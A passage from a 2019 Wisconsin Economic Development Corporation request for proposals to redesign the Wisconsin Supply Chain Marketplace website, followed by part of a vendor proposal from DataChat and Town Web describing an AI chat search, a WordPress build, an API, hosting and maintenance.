manage the RFPs they’ve posted.
2. Support administrative functions (for WEDC or other approved
administrators) to perform following actions:
a. Approve profiles
b. Approve RFPs
c. Approve News Posts
d. Generate lists
e. Create new categories: directories, industries, regions
f. Update site content as needed
3. Content
a. Existing content support will need to be reviewed to determine if
it should remain in its current form: “Bulletin Boards” – some
posts are manual news posts which will be aggregated by
WEDC; others are feeds from company profiles, such as hiring
updates. For the latter, CMS would need to be programmed in a
way to pull appropriate profile content into the “Bulletin Board”.
b. Reconsider how/or if supply chain maps will be featured as these
are supporting research content and do not directly relate to the
directory functionality.
4. System Emails
a. Alerts related to RFP postings that are distributed to selected
category of suppliers notifying them of new RFPs posted or
changes to existing RFPs.
b. Emails related to confirmation of user site activity. Users need to
receive confirmation emails related to creation of profiles;
confirmation emails for RFP approval, etc.
c. NOTE: Registration for WSCM newsletter needs to be
supported, but design, content development and distribution will
be managed by WEDC.

iv.

v.

vi.

vii.

viii.
ix.
x.
xi.

Directory Access
1. Beyond searchable access to data, allow for list download to approved 3rd
party. Admin function that allows for list generation may be a way to
support list access by economic development professionals or other
approved partners.
2. Develop enterprise solution that supports 3rd party OEM integration with
the platform. May be offered through API connections to external 3rd
party platforms. WEDC has interest in integrating with external systems
to allow for database feeds. Rules/parameters will be established on what
data is accessible, thus solution needs to accommodate different levels of
account permissions. Specify your recommendation on preferred solution
and rationale, including cost comparison.
Required content/page templates
1. Support all required site content, including but not limited to: About Us,
Contact Us, Privacy Policy, and news. All can follow an available CMS
template and does not need to be custom designed.
Hosting
1. Provide hosting support/recommendation. Activity level is light, with
fewer than 10K visitors/month even at peak promotion periods. Consider
scalable solution to ensure optimal response time performance. See
Appendix A for Web Activity.
Ongoing maintenance
1. For purposes of estimating, expected maintenance will be limited to
technical “fixes” vs. enhancements. Please provide a recommended
maintenance approach that supports scheduled and as-needed requests.
Google Analytics needs to be included in the setup of the platform.
Ensure site is built with SEO in mind.
Site needs to be mobile friendly.
Documentation of functionality and development approach needs to be provided.

b. Organizational and Staff Capabilities
i.
Provide a brief description of the proposer’s history and organization.
ii.
Describe the proposer’s experience.
iii.
Provide a list of at least three relevant engagements held by the proposer which
indicates relevant experience.
iv.
Provide a list of all staff persons who will be involved in carrying out the tasks
covered by this RFP, describing each in terms of their involvement in specific tasks
and qualifications.
v.
Provide a list of any subcontractors (individual or organizational) that the proposer
intends to use when providing services under this RFP (Note: the proposer is not
required to use subcontractor(s). However, no subcontractor may be used without
WEDC’s written approval.)
c. Technical Requirements/Approach to the Project
i.
Describe, in detail, the proposer’s technical approach to the project.
ii.
Provide a timeline for conducting the work under this RFP.
iii.
Describe the proposers approach to platform updates.

iv.

v.
vi.

Specific breakdown of solution recommendations of data structure, CMS and
maintenance requirements, including all technical solution providers and expected
performance related to the recommendations. In recommended approach, please
assume directory activity on usage as well as profile creation will grow. Please
consider optimal solution for performance and maintenance.
Provide recommendation for hosting solution.
Provide recommendation for security solution.

d. Other Items
i.
Please provide a minimum of two relevant references.
e. Documents
i.
Provide a copy of the proposer’s W-9.
ii.
Provide a copy of the proposer’s standard contract documents.
f.

Project Completion
i.
Selected service provider must be in a position to complete the project and ensure
smooth transition of existing WSCM no later than June 30, 2019.
ii.
Training Support
1. Please provide approach to delivering training to WEDC to ensure
smooth transition and roll-out. Specify recommended approach including
“live” (in-person) or via virtual with supporting training materials.
iii.
Documentation – an adequate level of documentation will be required that includes
key functionality overview as well database development approach.

V. Cost Proposal
Proposers should provide a fixed cost proposal for the services to be provided under this RFP,
including anticipated out of pocket costs. The cost proposal should include the estimated number of
hours and the billing rate for each level of team member assigned to the engagement. The cost
proposal shall be a not-to-exceed total cost for the services to be provided under this RFP. In addition,
cost breakdown should include recurring costs for any software, hosting or systems requirements as
well as any annualized maintenance costs and definition of what is considered maintenance vs.
enhancement that would require a new scope.
VI. Terms and Conditions
The following terms and conditions affect responses to this RFP and any resulting contract. These
terms shall be adhered to by any interested proposer and are non-negotiable.
a. Contract Term
The contract will cover 3 years with the option to renew for another 3 years. As part of the
response, please clarify pricing for initial set of requirements compared to the subsequent
incurred fees for maintenance over the course of the term of the contract.
b. Confidentiality
Proposer acknowledges that all information, data, records and documents disclosed by
WEDC to proposer, or which come to proposer’s attention during the course of its response

to this RFP or performance under any resulting contract constitute valuable and proprietary
assets of WEDC (Confidential Information). Proposer agrees not to disclose the Confidential
Information, either directly or indirectly, to any person, entity or affiliate unless required to
do so by legal process of law without prior authorization by WEDC. If required to disclose
Confidential Information by legal process, Proposer shall provide WEDC with prompt notice
so WEDC may seek an appropriate protective order. Except as required to respond to this
RFP or during the course of its performance under the terms of any resulting Agreement,
proposer shall not use any Confidential Information for its own purposes.
c. Conflict of Interest
Proposer’s response to this RFP must include, in writing, disclosure of any potential conflict
of interest that may arise from Proposer’s performing services for WEDC. Any resulting
contract will require that if a vendor fails to disclose a potential conflict of interest, and if
WEDC determines such failure to disclose involves a material conflict of interest, the
vendor’s contract may be declared to be void by WEDC and any amounts paid under the
contract may be recovered by WEDC. Vendors shall advise WEDC of any changes in
potential conflicts of interest.
d. Wisconsin Records Law
Awardee must comply with retention records as required by Wisconsin Statutes. Current
retention for website records may be up to five years from the date the project is completed.
WEDC will work with the awardee to determine optimal process for supporting required
statutes.
e. Nondiscrimination
Pursuant to Wisconsin law, any contract resulting from this RFP will include the following
language regarding nondiscrimination:
In connection with the performance of work under this contract, Licensor agrees not to
discriminate against any employee or applicant for employment because of age, race,
religion, color, handicap, sex, physical condition, developmental disability as defined in
§51.01(5), sexual orientation or national origin. This provision shall include, but not be
limited to, the following: employment, upgrading, demotion or transfer; recruitment or
recruitment advertising; layoff or termination; rates of pay or other forms of
compensation; and selection for training, including apprenticeship. Except with respect
to sexual orientation, Licensor further agrees to take affirmative action to ensure equal
employment opportunities. Licensor agrees to post in conspicuous places, available for
employees and applicants for employment, notices to be provided by the recipient officer
setting forth the provisions of the nondiscrimination clause.
f.

Public Records
Responses to this RFP, any communication with WEDC, and any resulting contract and work
product are subject to the public records laws of the State of Wisconsin, § 19.31 et seq.
Proposers shall mark documents “confidential” where appropriate for financial and other
sensitive or proprietary materials that should be, to the extent possible, be kept in

confidence. WEDC will notify the proposer if it receives a public records request for
materials marked confidential.
g. Insurance
If awarded the contract, the proposer shall maintain Worker’s Compensation, Comprehensive
General Liability, including Contractual Liability, and Automobile Liability insurance for any
claims that may arise from operations under the contract.
VII.

RFP Process
a. Reasonable Accommodations
WEDC will provide reasonable accommodations, including the provision of informational
material in an alternative format, for individuals with disabilities upon request.
b. Communication with WEDC & Submitting Questions
All communication regarding this RFP shall be directed to WEDC’s Key Business Liaison
Jela Trask at jela.trask@wedc.org. Information regarding this RFP obtained from other
sources is unofficial and nonbinding. Communication with other sources may be cause for
rejection of a proposal. All questions regarding this RFP must be submitted in writing to
WEDC’s Key Business Liaison, Jela Trask at jela.trasks@wedc.org by January 16th, 2019 at
4:00 p.m. CT.
c. Incurring Costs
WEDC is not liable for any cost incurred by a vendor for responding to this RFP.
d. News Releases
News releases pertaining to the RFP or to the acceptance, rejection or evaluation of proposals
shall not be made without the prior written approval of WEDC.
e. Submitting the Proposal
Proposers shall submit an electronic version of their proposal to WEDC’s Key Business
Liaison, Jela Trask, jela.trask@wedc.org no later than February 11th, 2019 at 4:00 p.m. CT.
Proposals must include easily accessible formats/links to any sample work. When submitting
documents to WEDC, respondent must clearly mark as CONFIDENTIAL TRADE SECRET
any documents or information that it believes qualify under the trade secret exemption under
Wis. Stat. Sec. 19.36(5).

VIII.

Evaluation of RFP
a. Proposal Review, Verification and Acceptance
WEDC shall review each proposal to verify that it meets all specified requirements in the
RFP. Proposals that do not comply with instructions contained in the RFP may be rejected by
WEDC. WEDC reserves the right to waive a particular specification if no proposer meets that
specification. WEDC may request reports on the proposer's financial stability. WEDC may
reject a proposal if the proposer is determined to have inadequate financial means to provide
the required service. WEDC retains the right to accept or reject any or all proposals, or accept

or reject any part of a proposal, determined to be in the best interest of WEDC. WEDC shall
be the sole judge as to compliance with the instructions contained in this RFP. Proposals shall
be firm for acceptance for sixty (60) days from date of proposal opening unless otherwise
noted. A proposer may not modify its proposal after submission except to correct minor
omissions or miscalculations as directed in writing by WEDC.
b. Proposal Scoring
Requirements will be assessed against the following criteria to determine best fit with
organizational priorities.
•
Experience and related examples = 15pts
•
Firm size, structure and resources available = 15pts
•
Technical solution and approach to the project = 25pts
•
Service level agreement for ongoing support = 25pts
•
Pricing = 20pts
Total = 100pts
c. Evaluation Criteria
Mandatory requirements must be met in order for a proposal to be considered for award under
this RFP. Evaluation of the proposals will be based on the Proposer’s ability to meet all the
requirements listed under IV. Proposal Requirements.
d. Right to Reject Proposals and Negotiate with Proposers
WEDC reserves the right to reject any and all proposals. WEDC may enter into negotiations
with multiple vendors regarding the terms of the contract and the cost proposal before
determining the highest scoring proposer. WEDC shall not, under any circumstances, reveal a
proposer’s cost proposal to any other Proposer prior to contracting for services.
e. Award Decision
WEDC will recommend awarding the contract to the vendor that meets all requirements and
provides the services described in this RFP at the best value to WEDC, taking into
consideration the responders’ experience, expertise, and cost proposals.
f.

Notice of Intent to Award
All proposers who respond to this RFP will be notified in writing of WEDC's intent to award
the contract as a result of this RFP.

APPENDIX A: Wisconsin Supply Chain Marketplace Website Statistics
(As of 1/2/19)
Wisconsin Supply Chain Marketplace Page Views
Concrete 5 Platform (3/24/18 to 12/31/18)
Page
Pageviews
Unique Pageviews
Entrances
Wisconsin Supply Chain Marketplace Home Page
20,407
14,534
12,110
Profile Creation & Login Page
9,503
2,946
551
Directory Landing Pages
Aviation and Aerospace
395
288
53
Automotive
411
325
47
Defense
155
122
10
Energy Systems
234
182
5
Food and Beverage
403
294
14
Forest Products
126
94
5
Marine Manufacturing
203
137
22
Water Industry
176
137
11
Wind Works
131
111
67
Lakeshore Manufacturing Cluster
401
283
125
Foxconn Industry
3,668
2,343
1,005
Region Landing Pages
7 Rivers Alliance Inc
136
106
5
Centergy
108
60
11
Grow North
144
72
5
Lakeshore Industry Cluster Initiative (LICI)
75
52
6
Madison Region Economic Partnerships Inc.
(MADREP)
207
120
29
Milwaukee 7
546
400
31
Momentum West
86
68
3
Prosperity Southwest
55
40
4
The New North
364
241
24
Visions Northwest
64
48
3

Wisconsin Supply Chain Marketplace (1/1/2018 to 12/31/2018) by Month

Company profile traffic is provided from March 24th to December 31th based on the date of the directory
transition.
The graph below illustrates page view traffic for all profiles in the directory, and the table page view
statistics for the top 10 companies over the specified time period.

Audience Overview January 1, 2018 to December 31, 2018

Acquisition Overview

Redesign of the Wisconsin
Supply Chain Marketplace
Proposal
Prepared for the
Wisconsin Economic
Development Corporation
Madison, Wisconsin
February 11, 2019

Cover Letter
Monday, February 11, 2019
Dear WEDC Members,
It is with great excitement that we submit our response to your request for proposal for
the redesign of the Wisconsin Supply Chain Marketplace Website. We are tremendous
proponents of introducing technologies to benefit the networking capabilities of
suppliers and buyers in the Wisconsin manufacturing marketplace, and we welcome all
new initiatives that enhance business opportunities in Wisconsin.
DataChat’s mission is to help deliver timely and actionable insights on data to everyone
in an enterprise. Our platform has boosted efficiencies for companies as large as
Fortune 500 companies, and as small as local Wisconsin-based startups. Our work has
been recognized at the 2018 Governor’s Business Plan Contest (1st Place in the IT
category), and by the National Science Foundation, of which we are the recipient of
grants funding our work with Artificial Intelligence.
Since starting our company, DataChat has been fortunate to work with and learn from
many talented and passionate professionals in the Wisconsin manufacturing space.
These individuals have helped us shape our mission to focus on delivering timely and
actionable insights on data that are readily available to anyone within an organization.
For this proposal, DataChat is partnering with Town Web, a web development firm with
over a decade of expertise in the government web development industry, as a
subcontractor for this proposal. Town Web’s extensive experience deploying and
supporting websites across hundreds of municipalities has proven that their approach
to web design and customer support is effective, on time, and within budget. Given
the opportunity, DataChat and Town Web look forward to sharing our passion and
expertise with WEDC.
In the following pages, we detail our team’s capabilities each component of your RFP.
I, Aaron Redlich, will be the primary contact for this proposal. Please do not hesitate to
contact me should you have any questions or need additional information. I am looking
forward to working closely with your team!
Sincerely,

Aaron Redlich
VP Products, DataChat
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Executive Summary
In this proposal, we propose a complete and exciting redesign of the WSCM website
accompanied with a marketing campaign to bring awareness and encourage
companies and buyers to visit and update profiles on the website. The brand new and
exciting vision for a redesign of the Wisconsin Supply Chain Marketplace website will
use Web 2.0 technologies that incorporate the power of AI to help users connect with
others and find information in a brand new way. Our goal is to re-tune how users
interact with the website - moving from from static web pages to an interactive
communication and search platform that engages and retains users.
This proposal outlines two core components - a refreshed website and an innovative
AI technology integration. The website will bring modern designs and an updated
user interface that focuses on ease of use, especially on mobile devices. The AI
technology, implemented by DataChat, will help prospective buyers navigate and
search for information in an entirely new way.
The website will be designed as a “Communication Platform” between business
vendors and OEM suppliers. We will optimize the profiles of each OEM business so
that they are easily searchable on the new WSCM website and through Google using
SEO, but not just in the traditional sense of a directory. Instead, we are proposing a
more modern and up-to-date design that harnesses the power of a DataChat’s AIpowered chat technology with Town Web’s website design and management tools that
are designed to mimic how people actually perform online searches. Think of it as
“Instagram for Suppliers and OEMs, powered by AI!”
We will give business a way to find OEM parts based on the industry-related
terminology. They can perform fluid searches based on selected tags from images, and
get suggested items from the search powered by our AI integration.
As part of a full web redesign and deployment, we are proposing an optional
marketing campaign to compliment the launch of a new website. This marketing
campaign will target existing suppliers to encourage updating of existing and new
profiles. The campaign will also be used to advertise to new and prospective buyers.
In this document, we propose a combination of our award-winning web-development
and proven AI capabilities to enhance the web experience for both the WEDC,
vendors, and online visitors alike. We hope you find our proposal informative, and we
look forward to hearing your questions soon.
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Technical Mandatory Requirements
Below, we present detailed technical objectives and work plan that outline the
technical portion of the proposal. We have distributed our objectives across the
categories outlined in the published RFP document, and have inserted our answers to
each technical objective below. The original part of the RFP is highlighted in bold font.

The User Interface
This section discusses the following technical requirements:
Update design graphics to align with statewide branding.
Develop an intuitive user experience that reorganizes navigation to optimize
search-ability.
Redesign search result display – currently, it is below the search criteria. Redesign
to have results display in a more expected directory fashion, possibly to the right
of the search criteria so that as user is narrowing or expanding a search, the results
are featured to guide the user.
Redesign profile pages
Current front-end functions of the WSCM will be preserved, including supplier
search and RFP (Request for Proposal) posting. By way of definition, “suppliers”
are companies - “buyers”, or those creating RFPs, are also companies. Navigation
allows for several different entry points to these two basic functions. During
requirements input, we can determine if all these entry points should be
preserved.
DataChat is partnering with Town Web on this project, where Town Web is operating as
a subcontractor. DataChat will be the lead on this project and will be the single pointof-contact for WEDC for this project (i.e., we are disclosing this partnership in the
interest of full-transparency).
We will design and deploy a customized website that includes colors and branding
elements of the WEDC. The primary purpose of the redesign is to develop a new user
experience that is designed to be intuitive and delightful to navigate by website
visitors. We rely on the latest and most stable design strategies like Google Material
4

Design, a popular stylistic choice among web developers, to ensure customers find the
website intuitive. Colors that are compliant with the WEDC’s branding selection will be
used, and we will ensure the website is fully ADA 508 compliant, so users with
disabilities, such as color blindness, can still navigate the website.
In developing a website, it is important to not only focus on a visual redesign, but to
also focus on how information is accessed from various devices. The WSCM’s lowvolume traffic may be indicative of infrequent visitors who may be using the website.
Considering this, it is important to ensure that infrequent and first-time visitors have
immediate access to the information they need, and quickly. To better cater to these
visitors, we are redesigning how searching for information works.
A new search interface will be implemented that reduces redundancy and the number
of clicks needed to perform a search. We will pattern the search based on how people
actually do searches – just like using Google.
People like to perform searches and find matches based on keywords, key phrases and
exact match terminology. This type of logic is especially important for unstructured sets
of data coming from thousands of Wisconsin-based suppliers, each of which can have
dozens to hundreds of different industry-related phrases and terminology.
A search query for “pumps” on Google will show women’s heeled shoes. However a
search on the WSCM website will harness the power of DataChat’s AI solution to
expedite natural language search and display industry-related results.
See the following image. It allows the user to type in a phrase using natural language
like the following:
"Show the list of companies in Wisconsin that offer electrical components"
"List the companies that sells polyethylene tanks"
"Show the list of companies that offer wastewater treatment solutions"
Here’s how we can see end users conversing with the “Sam the Supply Chain Bot”
For this example, the user types in the following:
“Plot the zip codes with companies that make plastic injection molds in Wisconsin”

5

This brings up the display shown in Figure 1.

Figure 1: AI-powered natural language search
displayed in an intuitive visual way to users.

Figure 2: Tabular results are also presented in a
clean visual way.

Next, the user says: “List the companies that make plastic injection molds in
Wisconsin”, which shows the list show in Figure 1. This list can also be downloaded as
a CSV file. WSCM could control this download feature and only allow a certain class of
users, e.g., premium users, the ability to download CSV files.
The entire database of Wisconsin-area suppliers along with their parts, components
and services will be readily searchable. Users will see immediate search result relevant
to the keywords of the search, and will also get a list of industry-specific terms. This is a
much more accurate and efficient method for doing search because a search for
“pumps” will show suggestions for things like “centrifugal pumps”, “reciprocating
pumps”, “trash pumps”, and “positive displacement pumps”. These specific keywords
can be clicked to further filter the results.
A list of manufacturers will display showing details of each organization and what
products or services they offer that are relevant to the search that was performed. In
the example below, you can see the list of the current data from the WSCM website.
Each of the suppliers listed offer products related to “pumps”, and it is organized in a
way that makes it easier for somebody to view and to further do their research.
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When a person visits a company’s profile (either through the directory or through a
search), they will be presented with a more attractive and visual list of the parts and
services offered. See the mockup on the following page.
The complete company details will be displayed with one important improvement. It
will show images of the actual components, parts or services offered. These images will
be uploaded by suppliers themselves and displayed in a layout that is similar to
Instagram.
Each image will allow the suppliers to add tags (hashtags) that further describe the
items in each picture with industry-related terminology. In this way, the suppliers can
improve the key phrases that can be used in searches. The smarter search also
incentivizes suppliers to provide this kind of tag information as it improves the visibility
of their offering in search results.
The suppliers themselves manage their own “social media-like” profiles and the picture
of the parts & services they offer.
Those suppliers who put forward the extra effort to upload more images and add more
relevant hashtags will organically improve the position of their company not just on the
WSCM, but also across the internet.
We plan to harness the power of DataChat’s AI solution to expedite searching, all
without leaving the home page. The AI component, developed by DataChat, will
enable users to search in a brand new way using our patented chat technology that
was developed at the University of Wisconsin-Madison. The chat technology is
designed to be smart, responsive, and engaging to new and existing users. Website
visitors interact with the chat app, which is located on every page of the website, by
typing in short commands. Statements like “Show recently issued RFPs”, “Find contact
information for 3M”, or “Show all companies that make injection-molded ABS plastics”
quickly bring up the relevant information users need. Users are now able to instantly
find RFP information, recent news, bulletins, contacts, and relevant company
information in seconds by chatting with Sam the Supply Chain Bot on the website. No
more digging through multiple pages and menus to find the important information you
need!
As part of the new and refined search procedures, we would recommend limiting the
number of entry points to the search function to one for the traditional search, and one
for the AI-powered search function. By reducing the number of entry points, we can
mitigate user confusion and eliminate excess clicks for users, refining the search
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experience. The DataChat and Town Web team are happy to discuss these points
further with WEDC staff.
To help ensure that Buyers and Suppliers continue to use the WSCM website, we
propose offering several touchpoints each year. One example of a touchpoint is to not
only send direct emails but to also send direct mailers such as postcards to the
member organizations.
These direct mailers can be gentle reminders for them to update their company
profiles, or to ask them to post new products or services. As an example, in our
investigation we found that Crane Engineering had put forth extra effort to make their
profile more thorough than other suppliers listed on the site (http://
www.wisupplychainmarketplace.com/directory/organizations/crane-engineering). This is
an excellent example of a company putting full effort into updating their user profile.
We anticipate seeing more examples of fuller profiles, similar to Crane Engineering
effort, after the redesign.
Below is an example postcard template that could be scheduled and automatically sent
to all member organizations via API as a way to re-engage their users. Each postcard
campaign would have a clear Call To Action (CTA). To support this extra effort, we
could also manage the tracking and analytics of how the campaign performed.
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Data Structure
Develop a data structure that is flexible to support all existing profile data criteria
and search functions. WSCM will provide the database in a raw file that allows for
configuration and platform build. The current directory and data structure is built
on Concrete5 content management system.

We plan to take a transparent and flexible approach to the design of the underlying
data structure. The existing DataChat platform already has a in-built relational data
processing platform (based on MySQL) and we plan on leveraging this capability as the
common data layer for both web serving and conversational engagement with end
users (as shown in the figure above). This layer allows storing not just traditional
alphanumeric data, but can also store richer data such as images, maps, and JSON
document fields. This extension are essential when serving rich visual components in a
web page or chat output to users.
Data from the existing Concrete5 content management will be transformed using data
transformation functionality. This functionality is in the DataChat platform, and thus the
transformation will be a conversational program written in DataChat. This approach,
compared to writing low-level transformation script in C#, Python, etc. will allow us to
clearly communicate to WEDC administrators what assumptions are being made in the
data transformation. In addition, we can also allow authorized WEDC administrators to
get a special access to the platform where they can ask administrative queries (via a
conversation) to determine various functions, such as “How many new entries were
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created last month?”, “Which month had the highest number of new entries over the
last 6 months?”, etc.
We also plan to build a “data fidelity manager” on top of the core data storage, where
we plan to define rules related to data fidelity. With this approach, the fidelity of data
will be maintained at all times, so data errors such as a missing link/references do not
happen. We plan to use transactional boundaries around data changes operations
(updates, additions, deletions) to prevent any data corruption.
The entire database will be backed up to a cloud server (we plan to back it to AWS S3
but are open to other suggestions).
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Existing Functionality
1. Basic Functions
Current front-end functions of the WSCM will be preserved, including supplier
search and RFP (Request for Proposal) posting. By way of definition, “suppliers”
are companies - “buyers”, or those creating RFPs, are also companies. Navigation
allows for several different entry points to these two basic functions. During
requirements input, we can determine if all these entry points should be
preserved.
The new and redesigned website would preserve all core functionality of the existing
website, but with simplified navigation and with an improve search functionality. This
search function would be powered by DataChat’s AI.
Include current search options but with improved search algorithm to support
more robust keyword search options. For example, “plastic injection molding”
does not generate the same set of results as “plastics injection molding”.
We plan to support both a traditional search box to allow users to search for terms like
“plastic injection molding”. We will use stemming and other natural language
processing methods to accommodate misspellings and stemming (e.g. dealing with
extra or redundant “-ing”). Search will also be supported in the conversational
paradigm where a suggestion list will be populated and present to the user as s/he
enter the dialog, to show potential search terms. The list of the search terms will be
constructed from the database and via a dynamic process, so that it reflects the current
state of the data. The search algorithms developed by DataChat will allow a
heightened amount of specificity, allowing search results to be narrowed down by
keywords indicated in the search results.
Support process for creating supplier profile. This will require registration and
account/login creation to manage updates.
We propose using Wordpress as the foundation for the new WSCM website because it
natively support user profiles, account creation and offers password resets. We would
provide an Admin section for each vendor to edit their personal details, their company
details, and to edit and manage the products/service and tags/hashtags that each
company offers to buyers.
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Support process for posting RFPs. Buyers don’t necessarily require the creation of
an account but may need some way to manage the RFPs they’ve posted.
We propose making it as simple as possible for RFPs to be posted. The RFP dashboard
will be redesigned to focus on the WSCM as a central repository for RFPs for the
suppliers. As previously mentioned, vendors will have secure access to their profiles,
through which they will be able to post RFPs. This way, information vendors post to
their profiles no longer need to be re-typed when posting an RFP as they do now. This
streamlined process will allow vendors to post, update, and delete their RFP listing
directly from their dashboards.

2. Support administrative functions (for WEDC or other approved
administrators) to perform following actions:
Approve profiles
Approve RFPs
Approve News Posts
Generate lists
Create new categories: directories, industries, regions
Update site content as needed
The website will contain a back-end module that will allow WEDC staff to manage RFP
postings. Through this portal, RFPs will be able to be approved, deleted, or updated.
This module, or administrative panel, will be accessible by WEDC staff members
through a secure and separate log-on method.
As a hub for contact information for suppliers in Wisconsin, the WSCM website has a
unique opportunity to also serve as a distribution channel for RFPs posted by
companies around the state. To make the WSCM website more attractive as a statewide repository for RFP-issuers, we will create a Communication Platform that allows
these posted RFPs to be syndicated in several ways:
(A) As a News Post;
(B) Via email to subscribers;
(C) Via text message to subscribers,
(D) as an RSS feed so that it can be picked up easily by third-party aggregators and RFP
scraping services.
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These multiple touch-points will increase the likelihood that website visitors,
subscribers, and suppliers will be alerted of new RFP postings and will return to the
website.
The back-end admin dashboard will allow WEDC staff or other approved administrators
to not only manage RFP listings, but add and update content on the website in realtime without the need to contact DataChat or Town Web. Creating new entries in
directories, modifying vendor profiles, adding industries and regions will all be
accessible via the dashboard. The dashboard will have secure logon credentials so
WEDC staff members can allocate access appropriately.
The admin dashboard will feature extensive list creation and management
functionalities. From the dashboard, these lists can be organized and sorted in various
way and exported as CSV files for distribution (e.g. targeted email lists, targeted direct
mailers, etc.). Lists can be created with parameters, so existing vendors will be
automatically categorized into newly created lists.
The data can allow Supplier Companies to be correctly categorized in the correct
region and the correct industry designations by WEDC staff. Additionally, we can make
it easier for the WEDC staff to manage the profiles of Supplier Companies by showing
data fields that have incomplete or missing data. For example, some Suppliers might
not exactly know what region they’re located in, and we will make it easy to have this
information added. This ensures that the WSCM member data can easily be improved
so that OEMs can view (and expect to view) complete and comprehensive supplier
data.

3. Content
Existing content support will need to be reviewed to determine if it should remain
in its current form: “Bulletin Boards” – some posts are manual news posts which
will be aggregated by WEDC; others are feeds from company profiles, such as
hiring updates. For the latter, CMS would need to be programmed in a way to pull
appropriate profile content into the “Bulletin Board”.
The “Bulletin Board” listed here, http://www.wisupplychainmarketplace.com/bulletinboard contains four main elements:
(A) Marketplace Updates
(B) Request for Proposals
(C) Who’s Hiring
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(D) Business News
The Bulletin Board that we would design for you would look more exciting and
modern. These four elements could come together as an attractive “Dashboard” view,
which would make it more useful and readable across all audience types.
We would design the admin section of this so that WEDC staff can manually adjust how
the individual items are sorted within their individual section, as referenced previously.
You won’t be locked into an inflexible or unalterable structure. It will instead by fluid
and attractive.
Reconsider how/or if supply chain maps will be featured as these are supporting
research content and do not directly relate to the directory functionality.
We are going to provide an optimal search experience by having data driven by AI.
This will allow everything and anything that an OEM needs through a simple search
interface.
While we can show addresses and map data, we think that product & services that the
suppliers provide will be more more relevant than displaying location-based data.
Therefore our suggestion is to use the supply chain map data, but not as a primary
search method. Instead we’d use it as a supplemental and secondary search method.

4. System Emails
Alerts related to RFP postings that are distributed to selected category of
suppliers notifying them of new RFPs posted or changes to existing RFPs.
The Alerts we would create for your new website (whether for RFPs or other system
notifications) would be connected with a third-party service which does highdeliverability – as both emails and text messages. WEDC staff would have the
capability to send out email and text alerts quickly to subscribers through the
administrative dashboard. The “alerts” feature would also allow for WEDC staff to send
alerts to specific groups, i.e. a certain group of subscribers may only want to be
notified of bulletin news events, while another group may only be interested in
receiving updates on RFP postings.
Emails related to confirmation of user site activity. Users need to receive
confirmation emails related to creation of profiles; confirmation emails for RFP
approval, etc.
17

Automated emails will be generated as part of the user authentication and account
creation process. Wordpress account management includes these features for secure
account management, similar to account creation processes on existing services.
NOTE: Registration for WSCM newsletter needs to be supported, but design,
content development and distribution will be managed by WEDC.
We will create and integrate a sign-up form so that visitors can pick and choose what
notifications they’d like to receive from the new website. As an added service, we will
allow the sign-up form to integrate with your newsletter provider via API. We see that
you’re using GetResponse, which is great because they do offer an API connection.
This would allow us to provide your visitors with a convenient, simple yet robust
subscription service. In this way, your website visitors only need to subscribe to one
area and they can select which topics to receive notifications from, whether from
website related notices and/or to your existing Supply Chain Management newsletter,
which is hosted on the GetResponse platform.
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Directory Access
Beyond searchable access to data, allow for list download to approved 3rd party.
Admin function that allows for list generation may be a way to support list access
by economic development professionals or other approved partners.
As previously discussed in the Admin section, custom lists can be created and exported
by administrative staff. These lists are exportable as CSV files, which can be emailed
and sent to economic development professionals and approved partners. We are
offering a comprehensive technical support service to you, which means that you can
also ask our staff for assistance in creating and downloading list data at any time.
Develop enterprise solution that supports 3rd party OEM integration with the
platform. May be offered through API connections to external 3rd party platforms.
WEDC has interest in integrating with external systems to allow for database
feeds. Rules/parameters will be established on what data is accessible, thus
solution needs to accommodate different levels of account permissions. Specify
your recommendation on preferred solution and rationale, including cost
comparison.
Our solution for WSCM is to provide a REST API which authorized 3rd parties can
access. Each authorized 3rd party will receive an api-key for accessing the data.
We would also provide documentation for using the API and list the hooks. It would
accept HTTPS GET requests, which would allow authorized 3rd parties to pull any type
of supplier data from the database.
As an additional feature, we can further expand the API’s functionality by building a
private Zapier integration for the large number of other apps in the Zapier library. This
would give many non-technical users a tool to connect the data to a variety of other
platforms and applications.
Some use-cases of how WSCM administrators could leverage a Zapier integration
would include the following:
• Create a notification system for new users who sign up
• Get a monthly report showing when suppliers last updated their profile
• Organize the list of suppliers who haven’t updated their profile in the last six
months
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Required Content and Page Templates
Support all required site content, including but not limited to: About Us, Contact
Us, Privacy Policy, and news. All can follow an available CMS template and does
not need to be custom designed.
Our team can build a modern looking site without a custom design, but which would
also be designed using a “mobile-first” design philosophy. The website would retain a
consistent and smooth look and feel across mobile and desktop devices.
Additionally, one extra advantage to our proposal is that we would develop these CMS
pages to be ADA 508 compliant. ADA 508 compliance means that the site would be
accessible to people no matter the nature of their disability.

Hosting
Provide hosting support/recommendation. Activity level is light, with fewer than
10K visitors/month even at peak promotion periods. Consider scalable solution to
ensure optimal response time performance. See Appendix A for Web Activity.
Our recommendation is to use the existing Rackspace Managed Hosting for your
current needs if your existing solution is robust enough to handle the increased traffic
and functionality we’d incorporate into the new system. We are able to spec out your
exact needs.
We’d recommend that Rackspace have PHP updated using RPM so updates are
automatically applied when they are made available.
However, if the WSCM is not under a long-term contract with Rackspace, we would
propose to host the website, the search functionality and database on a cloud-based
server platform that we think is suitable for the amount of content, expected traffic and
server load we’d expect over the next three years. The advantage to hosting on a
cloud-based server is that it makes it relatively easy and seamless to scale up when
there is more traffic or server load.
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Ongoing Maintenance
For purposes of estimating, expected maintenance will be limited to technical
“fixes” vs. enhancements. Please provide a recommended maintenance approach
that supports scheduled and as-needed requests.
For ongoing maintenance, we can offer you all of the below solutions to provide a
comprehensive and worry-free maintenance solution. The solution has three main
components:
(A) Daily website backups with off-site storage to Amazon S3, as previously discussed.
Also includes same-day website restores to the latest version of the website.
(B) Wordpress CMS and plugin maintenance. Our team would be responsible for
keeping the CMS up-to-date and secure. One of the largest causes for websites to be
hacked, defaced or compromised is when plugins are not kept up-to-date. Additionally,
we would have daily service monitoring to report unauthorized access or login
attempts.
(C) Providing Email and Telephone Technical Support to your WEDC staff. In order that
you have somebody to make requests and changes, we’d provide you access to our
support platform.

Google Analytics
In addition to providing access to Google Analytics (which we can transfer over from
your existing provider), we can send automated reports based on website visits.

Website SEO
The new and revised website would be built to be SEO-friendly, which is easier to do
given that we’d develop your new site in Wordpress. Additionally, you’d also get a site
that is ADA 508 Compliant so that it is accessible to people with disabilities.

Mobile Friendly Website
We would develop your new site using a “mobile-first” design strategy. The website’s
look and feel would remain consistent across a variety of devices, from phones and
tablets to laptops. Customer seeking information from a phone, for example, would
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have access to the same menus as available on a desktop computer, but in a mobilefriendly orientation.

Documentation of Functionality
Complete documentation of the newly designed website’s functionality would be
